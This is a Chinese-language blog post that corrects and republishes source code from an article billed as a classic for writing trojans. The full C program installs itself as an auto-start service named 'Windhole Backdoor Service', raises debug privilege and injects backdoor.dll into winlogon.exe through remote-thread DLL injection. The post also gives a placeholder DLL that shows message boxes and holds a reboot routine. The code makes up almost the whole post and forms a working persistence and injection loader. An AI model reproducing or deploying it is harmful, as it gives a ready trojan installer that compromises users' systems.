對網上“dll插入系統進程的源碼!算是寫木馬的經典了”文章所附源代碼的修改

        以下mysvr.c代碼來自網上名爲“dll插入系統進程的源碼!算是寫木馬的經典了”的文章,主要功能是開啓系統服務,然後尋找所要插入的進程winlogon.exe,把backdoor.dll插入到此進程,然後執行backdoor.dll。原始代碼不能編譯執行,我給改了一下,並且提供一個backdoor.dll的源代碼,自己生成一個動態鏈接庫的文件backdoor.dll,參見後面的backdoor.dll的源代碼,此代碼沒有什麼後門的功能,只是在插入主線程後彈出一個對話框,以表示啓動backdoor.dll了,可以用IS查看一下。重新運行時需要Unload此backdoor.dll後方可成功,對於如果主線程winlogon.exe,請小心使用Unload。以防系統崩潰。

以下是mysvr.c的源代碼:

/*---------------------------------------------------------------------
//mysvr.c
//Coder: sjdf
//E-mail: [email protected]
//Create date: 2002.8.11
//Last modify date: 2003.10.28
//Test platform: Win2000 Adv Server + sp4
---------------------------------------------------------------------*/
//Header
//#include "bkdlldata.h" // maoge註釋掉了
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <psapi.h>
#include <winsvc.h>
#pragma comment(lib, "psapi.lib") // maoge添加的。[maoge注]
//---------------------------------------------------------------------
//Global constant
char       SERVICENAME[9]  = "windhole";
const char DISPLAYNAME[33] = "Windhole Backdoor Service";
const char SRVFILENAME[13] = "windhole.exe";
const char BDRFILENAME[13] = "backdoor.dll";
const char DESTPROC[19]    = "winlogon.exe"; 

//---------------------------------------------------------------------
//Glabal variable
SERVICE_STATUS MyServiceStatus;
SERVICE_STATUS_HANDLE MyServiceStatusHandle;
int WillStop = 0;
//---------------------------------------------------------------------
//Function declaration
int AddPrivilege(const char *Name);
void MyServiceStart (int argc, char *argv[]);
void MyServiceCtrlHandler (DWORD opcode);
DWORD MyWrokThread(void);
DWORD ProcessToPID(const char *InputProcessName);
//---------------------------------------------------------------------
//Function definition
int main(int argc,char *argv[])
{
 //如果參數爲“-service”就作爲服務啓動
 if ((argc >= 2) && (!lstrcmp(argv[1],"-service")))
 {
  SERVICE_TABLE_ENTRY DispatchTable[] =
  {
   {SERVICENAME, (LPSERVICE_MAIN_FUNCTION)MyServiceStart},
   {NULL, NULL}
  };
  
  if (!StartServiceCtrlDispatcher( DispatchTable))
  {
   return 1;
  }
  
  return 0;
 }
 
 //否則就自動安裝服務
 //複製自身到系統目錄
 char DestName[MAX_PATH + 1];
 char NowName[MAX_PATH + 1];
 
 ZeroMemory(DestName,MAX_PATH + 1);
 ZeroMemory(NowName,MAX_PATH + 1);
 
 if (!GetSystemDirectory(DestName,MAX_PATH))
 {
  printf("GetSystemDirectory() error = %d/nInstall failure!/n",GetLastError());
  return 1;
 }
 
 lstrcat(DestName,"//");
 lstrcat(DestName,SRVFILENAME);
 
 if (!GetModuleFileName(NULL,NowName,MAX_PATH))
 {
  printf("GetModuleFileName() error = %d/nInstall failure!/n",GetLastError());
  return 1;
 }
 
 
 if (!CopyFile(NowName,DestName,0))
 {
  printf("CopyFile() error = %d/nInstall failure!/n",GetLastError());
  return 1;
 }
 
 //安裝服務
 SC_HANDLE newService, scm;
 //連接SCM
 if (!(scm = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE)))
 {
  printf("OpenSCManager() error = %d/nInstall failure!/n",GetLastError());
  return 1;
 }
 
 //當作爲服務啓動時加上“-service”參數
 lstrcat(DestName," -service");
 
 if (!(newService = CreateService(scm,
  SERVICENAME,
  DISPLAYNAME,
  SERVICE_ALL_ACCESS,
  SERVICE_WIN32_OWN_PROCESS,
  SERVICE_AUTO_START,
  SERVICE_ERROR_NORMAL,
  DestName,
  NULL, NULL, NULL, NULL, NULL)))
 {
  printf("CreateService() error = %d/nInstall failure!/n",GetLastError());
 }
 else
 {
  printf("Install success!/n");
  
  char *pra[] = {"-service", "/0"};
  
  if (!StartService(newService,1,(const char **)pra))
  {
   printf("StartService() error = %d/nStart service failure!/n",GetLastError());
  }
  else
  {
   printf("Start service Success!/n");
  }
  
 }
 
 CloseServiceHandle(newService);
 CloseServiceHandle(scm);
 return 0;
 
}
//---------------------------------------------------------------------
DWORD MyWorkThread(void)
{
 Sleep(4000);
 
 FILE *fp;
 
 if ((fp = fopen(BDRFILENAME,"rb")) == NULL) // "wb"更改成了"rb",以表示只讀,
 {           // 否則會重寫backdoor.dll。[maoge注]
  WillStop = 1;
  return 1;
 }
 // 以下五行maoge給註釋掉了,幾乎是沒什麼用處。[maoge注]
 /*
 fwrite(data1,sizeof(data1),1,fp);
 fwrite(data2,sizeof(data2),1,fp);
 fwrite(data3,sizeof(data3),1,fp);
 fwrite(data4,sizeof(data4),1,fp);
 fwrite(data5,sizeof(data5),1,fp);
 */
 fclose(fp);
 
 char FullName[MAX_PATH + 1];
 
 ZeroMemory(FullName,MAX_PATH + 1);
 GetSystemDirectory(FullName,MAX_PATH);
 lstrcat(FullName,"//");
 lstrcat(FullName,BDRFILENAME);
 
 //如果是要打開系統進程,一定要先申請debug權限
 AddPrivilege(SE_DEBUG_NAME);
 
 HANDLE hRemoteProcess = NULL;
 DWORD Pid = ProcessToPID(DESTPROC);
 
    if ((hRemoteProcess = OpenProcess(PROCESS_CREATE_THREAD | //允許遠程創建線程
        PROCESS_VM_OPERATION |         //允許遠程VM操作
        PROCESS_VM_WRITE |          //允許遠程VM寫
        PROCESS_VM_READ,          //允許遠程VM讀
        0,
        Pid)) == NULL)
    {
  WillStop = 1;
  return 1;
    }
    char *pDllName = NULL;
 
    if ((pDllName = (char *)VirtualAllocEx( hRemoteProcess,
        NULL,
        lstrlen(FullName) + 1,
        MEM_COMMIT,
        PAGE_READWRITE)) == NULL)
    {
  CloseHandle(hRemoteProcess);
  WillStop = 1;
        return 1;
    }
 
    //使用WriteProcessMemory函數將DLL的路徑名複製到遠程進程的內存空間
    if (WriteProcessMemory(hRemoteProcess,
        pDllName,
        FullName,
        lstrlen(FullName),
        NULL) == 0)
    {
  VirtualFreeEx(hRemoteProcess,pDllName,0,MEM_RELEASE);
  CloseHandle(hRemoteProcess);
        WillStop = 1;
  return 1;
    }
 
 
    //計算LoadLibraryA的入口地址
    PTHREAD_START_ROUTINE pfnStartAddr = NULL;
 
    if ((pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(
        GetModuleHandle(TEXT("kernel32")), "LoadLibraryA")) == NULL)
    {
  VirtualFreeEx(hRemoteProcess,pDllName,0,MEM_RELEASE);
  CloseHandle(hRemoteProcess);
        WillStop = 1;
  return 1;
    }
 
 
    DWORD ThreadId = 0;
 
 CreateRemoteThread(hRemoteProcess, //被嵌入的遠程進程
  NULL,
  0,
  pfnStartAddr,     //LoadLibraryA的入口地址
  pDllName,
  0,
  &ThreadId);
 
 CloseHandle(hRemoteProcess);
    WillStop = 1;
 return 0;
}
//---------------------------------------------------------------------
void MyServiceStart (int argc, char *argv[])
{
 if (!(MyServiceStatusHandle = RegisterServiceCtrlHandler(SERVICENAME,(LPHANDLER_FUNCTION)MyServiceCtrlHandler)))
 {
  return;
 }
 
 MyServiceStatus.dwServiceType = SERVICE_WIN32;
 MyServiceStatus.dwCurrentState = SERVICE_START_PENDING;
 MyServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;
 MyServiceStatus.dwWin32ExitCode = 0;
 MyServiceStatus.dwServiceSpecificExitCode = 0;
 MyServiceStatus.dwCheckPoint = 0;
 MyServiceStatus.dwWaitHint = 0;
 
 if (!SetServiceStatus (MyServiceStatusHandle, &MyServiceStatus))
 {
  return;
 }
 
 DWORD Threadid;
 
 
 // Initialization code goes here. Handle error condition
 if (!CreateThread(NULL, 0,(LPTHREAD_START_ROUTINE)MyWorkThread,NULL, 0, &Threadid))
 {
  MyServiceStatus.dwCurrentState = SERVICE_STOPPED;
  MyServiceStatus.dwCheckPoint = 0;
  MyServiceStatus.dwWaitHint = 0;
  MyServiceStatus.dwWin32ExitCode = GetLastError();
  MyServiceStatus.dwServiceSpecificExitCode = GetLastError();
  
  SetServiceStatus(MyServiceStatusHandle, &MyServiceStatus);
  return;
 }
 
 // Initialization complete - report running status.
 MyServiceStatus.dwCurrentState = SERVICE_RUNNING;
 MyServiceStatus.dwCheckPoint = 0;
 MyServiceStatus.dwWaitHint = 0;
 
 if (!SetServiceStatus (MyServiceStatusHandle, &MyServiceStatus))
 {
  return;
 }
 
 while(WillStop == 0)
 {
  Sleep(200);
 }
 
 MyServiceStatus.dwWin32ExitCode = 0;
 MyServiceStatus.dwCurrentState = SERVICE_STOPPED;
 MyServiceStatus.dwCheckPoint = 0;
 MyServiceStatus.dwWaitHint = 0;
 
 SetServiceStatus (MyServiceStatusHandle, &MyServiceStatus);
 return;
}
//---------------------------------------------------------------------
void MyServiceCtrlHandler (DWORD Opcode)
{
 switch(Opcode)
 {
 case SERVICE_CONTROL_PAUSE:
  // Do whatever it takes to pause here.
  MyServiceStatus.dwCurrentState = SERVICE_PAUSED;
  break;
  
 case SERVICE_CONTROL_CONTINUE:
  // Do whatever it takes to continue here.
  MyServiceStatus.dwCurrentState = SERVICE_RUNNING;
  break;
  
 case SERVICE_CONTROL_STOP:
  // Do whatever it takes to stop here.
  MyServiceStatus.dwWin32ExitCode = 0;
  MyServiceStatus.dwCurrentState = SERVICE_STOPPED;
  MyServiceStatus.dwCheckPoint = 0;
  MyServiceStatus.dwWaitHint = 0;
  
  SetServiceStatus (MyServiceStatusHandle, &MyServiceStatus);
  
  WillStop = 1;
  return;
  
 case SERVICE_CONTROL_INTERROGATE:
  // Fall through to send current status.
  break;
  
 }
 
 // Send current status.
 if (!SetServiceStatus (MyServiceStatusHandle, &MyServiceStatus))
 {
  return;
 }
 
 return;
}
//---------------------------------------------------------------------
//爲當前進程增加指定的特權
int AddPrivilege(const char *Name)
{
 HANDLE hToken;
 TOKEN_PRIVILEGES tp;
 LUID Luid;
 
 if (!OpenProcessToken(GetCurrentProcess(),
  TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,
  &hToken))
 {
  printf("OpenProcessToken error./n");
  return 1;
 }
 
 if (!LookupPrivilegeValue(NULL,Name,&Luid))
 {
  printf("LookupPrivilegeValue error./n");
  return 1;
 }
 
 tp.PrivilegeCount = 1;
 tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
 tp.Privileges[0].Luid = Luid;
 
 if (!AdjustTokenPrivileges(hToken,
  0,
  &tp,
  sizeof(TOKEN_PRIVILEGES),
  NULL,
  NULL))
 {
  printf("AdjustTokenPrivileges error./n");
  return 1;
 }
 
 return 0;
}
//---------------------------------------------------------------------
//將進程名轉換爲PID的函數
DWORD ProcessToPID(const char *InputProcessName)
{
 DWORD aProcesses[1024], cbNeeded, cProcesses;
 unsigned int i;
 HANDLE hProcess = NULL;
 HMODULE hMod = NULL;
 char szProcessName[MAX_PATH] = "UnknownProcess";
 
 AddPrivilege(SE_DEBUG_NAME);
 
 // 計算目前有多少進程, aProcesses[]用來存放有效的進程PIDs
 if ( !EnumProcesses( aProcesses, sizeof(aProcesses), &cbNeeded ) )
 {
  return 0;
 }
 
 cProcesses = cbNeeded / sizeof(DWORD);
 // 按有效的PID遍歷所有的進程
 for ( i = 0; i < cProcesses; i++ )
 {
  // 打開特定PID的進程
  hProcess = OpenProcess( PROCESS_QUERY_INFORMATION |
   PROCESS_VM_READ,
   FALSE, aProcesses[i]);
  // 取得特定PID的進程名
  if ( hProcess )
  {
   if ( EnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeeded) )
   {
    GetModuleBaseName( hProcess, hMod,
     szProcessName, sizeof(szProcessName) );
    //將取得的進程名與輸入的進程名比較,如相同則返回進程PID
    if(!stricmp(szProcessName, InputProcessName))
    {
     CloseHandle( hProcess );
     return aProcesses[i];
    }
   }
  }//end of if ( hProcess )
 }//end of for
 //沒有找到相應的進程名,返回0
 CloseHandle( hProcess );
 return 0;
}
//--------------------------------

以下是backdoor.cpp的源代碼,只供測試,沒什麼功能,SysShutdown()爲系統重啓,小心使用

/*****************************************************

//backdoor.cpp
//Date: 2006.4.27
// Compiled in WinXP SP2

******************************************************/
#include <windows.h>
#include <stdio.h>

void SysReboot();

BOOL APIENTRY DllMain(HANDLE hModule, DWORD reason, LPVOID lpReserved)
{
 char szProcessId[64];
 switch (reason)
 {
 case DLL_PROCESS_ATTACH:
  {
   //獲取當前進程ID
   _itoa(GetCurrentProcessId(), szProcessId, 10);
   int ret = MessageBox(NULL, szProcessId, "backdoor.dll", MB_OK);
   if (ret != 0)
   {
    MessageBox(NULL, 0, "系統重啓", MB_OK);
    //SysSysReboot();
    return TRUE;
   }
  }
 default:
  return TRUE;
 }
}
void SysSysReboot()
{
 HANDLE hToken;
 if (OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken))
 {
  LUID luid;
  TOKEN_PRIVILEGES tp;
  
  LookupPrivilegeValue(
   NULL,    // address of string specifying the system
   SE_SHUTDOWN_NAME, // address of string specifying the privilege
   &luid    // address of locally unique identifier
   );
  tp.PrivilegeCount = 1;
  tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
  tp.Privileges[0].Luid = luid;
  
  AdjustTokenPrivileges(
   hToken,      // handle to token that contains privileges
   FALSE,      // flag for disabling all privileges
   &tp,      // pointer to new privilege information
   sizeof(TOKEN_PRIVILEGES), // size, in bytes, of the PreviousState buffer
   NULL,      // receives original state of changed privileges
   NULL      // receives required size of the PreviousState buffer
   );
  CloseHandle(hToken);
  ExitWindowsEx(EWX_REBOOT, 0);
 }
}

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章